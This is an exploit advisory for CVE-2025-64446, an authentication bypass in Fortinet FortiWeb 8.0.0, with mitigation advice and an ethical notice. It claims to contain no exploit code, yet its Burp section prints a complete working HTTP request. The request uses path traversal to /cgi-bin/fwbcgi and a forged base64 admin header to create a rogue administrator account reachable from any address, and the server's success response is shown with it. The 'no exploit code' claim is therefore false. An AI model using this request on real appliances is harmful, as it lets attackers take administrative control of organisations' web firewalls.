📄 Fortinet FortiWeb 8.0.0 Authentication Bypass

# Titles: Fortinet FortiWeb Auth-8.0.0 Bypass CVE-2025-64446
    # Author: nu11secur1ty
    # Date: 11/17/2025
    # Vendor: https://www.fortinet.com/
    # Software: v8.0.0
    # Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-64446
    
    ## Description:
    ## Overview
    This document provides a **research‑grade analysis** of CVE‑2025‑64446, an
    authentication bypass vulnerability discovered in Fortinet FortiWeb
    appliances.
    It is intended *only* for academic, defensive security testing in
    controlled lab environments.
    
    - No exploit code is included in this document.
    
    ---
    
    ## Vulnerability Summary
    CVE‑2025‑64446 enables an attacker to interact with administrative API
    endpoints **without valid authentication**, due to improper trust
    validation in a CGI parsing flow.
    
    A malicious request can trigger the backend logic responsible for
    administrative actions, bypassing permission checks.
    
    Impact includes:
    - Unauthorized access to sensitive endpoints
    - Potential privilege escalation
    - Unauthorized configuration changes
    - Administrative user creation
    
    ---
    
    ## Root Cause (High‑Level)
    During analysis, researchers observed:
    - The endpoint `/cgi-bin/fwbcgi` incorrectly trusted data passed through a
    crafted context header.
    - Parameter parsing logic allowed insecure inheritance of admin privileges.
    - Failure in validating serialized/encoded CGI metadata.
    
    This combination enabled unauthorized execution of administrative actions.
    
    ---
    
    ## Observed Response Behavior (Sanitized)
    A vulnerable system may return HTTP `200 OK` to unauthorized admin‑level
    operations.
    
    Example (sanitized):
    ```
    HTTP/1.1 200 OK
    Content-Type: application/json
    
    {
      "status": "success",
      "code": 0,
      "message": "Operation completed"
    }
    ```
    
    ---
    
    ## Reproduction (Laboratory Only)
    This section describes the workflow **without revealing technical
    payloads**:
    
    1. Configure a security testing proxy (e.g., Burp).
    2. Intercept traffic destined for FortiWeb.
    3. Send a crafted administrative action request.
    4. Observe whether the target responds with unauthorized administrative
    success.
    5. Capture response artifacts for documentation.
    
    Researchers should generate their own payloads in private lab environments.
    
    
    ## Burp:
    - Request:
    ```
    POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1
    Host: 10.10.0.13
    Accept-Encoding: gzip, deflate, br
    Content-Length: 824
    CGIINFO:
    eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
    Content-Type: application/json
    Connection: keep-alive
    
    {"data": {"q_type": 1, "name": "1a1222a0", "access-profile": "prof_admin",
    "access-profile_val": "0", "trusthostv4": "0.0.0.0/0", "trusthostv6":
    "::/0", "last-name": "", "first-name": "", "email-address": "",
    "phone-number": "", "mobile-number": "", "hidden": 0, "comments": "",
    "sz_dashboard": -1, "type": "local-user", "type_val": "0",
    "admin-usergrp_val": "0", "wildcard_val": "0", "accprofile-override_val":
    "0", "sshkey": "", "passwd-set-time": 0, "history-password-pos": 0,
    "history-password0": "", "history-password1": "", "history-password2": "",
    "history-password3": "", "history-password4": "", "history-password5": "",
    "history-password6": "", "history-password7": "", "history-password8": "",
    "history-password9": "", "force-password-change": "disable",
    "force-password-change_val": "0", "password": "1a1222a0"}}
    ```
    - Response:
    ```
    HTTP/1.1 200 OK
    Date: Mon, 17 Nov 2025 19:44:55 GMT
    Cache-Control: no-cache, no-store, must-revalidate
    Pragma: no-cache
    Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
    X-Frame-Options: SAMEORIGIN
    X-XSS-Protection: 1; mode=block
    Content-Security-Policy: script-src 'self'; default-src 'self'; style-src
    'self' 'unsafe-inline'; font-src 'self'; img-src 'self' data:; connect-src
    'self'; frame-ancestors 'self'; object-src 'none'; base-uri 'self';
    upgrade-insecure-requests; block-all-mixed-content;
    X-Content-Type-Options: nosniff
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: application/json
    Content-Length: 1204
    
    { "results": { "can_view": 0, "q_ref": 0, "can_clone": 1, "q_type": 1,
    "name": "1a1222a0", "access-profile": "prof_admin", "access-profile_val":
    "1008", "trusthostv4": "0.0.0.0\/0 ", "trusthostv6": "::\/0 ", "last-name":
    "", "first-name": "", "email-address": "", "phone-number": "",
    "mobile-number": "", "hidden": 0, "domains": "root ",
    "gui-global-menu-favorites": "", "gui-vdom-menu-favorites": "",
    "sz_dashboard": 8, "sz_gui-dashboard": 7, "type": "local-user", "type_val":
    "0", "admin-usergrp": "", "admin-usergrp_val": "0", "password": "ENC XXXX",
    "wildcard": "disable", "wildcard_val": "0", "accprofile-override":
    "disable", "accprofile-override_val": "0", "fortiai": "disable",
    "fortiai_val": "0", "sshkey": "", "passwd-set-time": 1763408695,
    "history-password-pos": 1, "history-password0": "ENC XXXX",
    "history-password1": "ENC XXXX", "history-password2": "ENC XXXX",
    "history-password3": "ENC XXXX", "history-password4": "ENC XXXX",
    "history-password5": "ENC XXXX", "history-password6": "ENC XXXX",
    "history-password7": "ENC XXXX", "history-password8": "ENC XXXX",
    "history-password9": "ENC XXXX", "force-password-change": "disable",
    "force-password-change_val": "0", "feature-info-ver": "" } }
    ```
    ---
    
    ## Mitigation & Recommendations
    Likely mitigations include:
    - Apply official vendor patches immediately.
    - Disable exposed management interfaces from public networks.
    - Enforce strict role‑based access controls.
    - Implement WAF rules to block malformed CGI context headers.
    - Monitor logs for suspicious admin actions.
    
    ---
    
    ## Ethical Notice
    This documentation is for **defensive research only**.
    Please don't test systems you do not own or have explicit permission to
    assess.
    
    
    
    # Reproduce:
    [href](https://www.patreon.com/posts/cve-2025-64446-8-143791801)
    
    # Demo:
    [href](https://www.patreon.com/posts/cve-2025-64446-8-143791801)
    
    # Time spent:
    03:00:00
    
    
    --
    System Administrator - Infrastructure Engineer
    Penetration Testing Engineer
    Exploit developer at https://packetstormsecurity.com/
    https://cve.mitre.org/index.html
    https://cxsecurity.com/ and https://www.exploit-db.com/
    home page: https://www.asc3t1c-nu11secur1ty.com/
    hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
    nu11secur1ty <https://www.asc3t1c-nu11secur1ty.com/>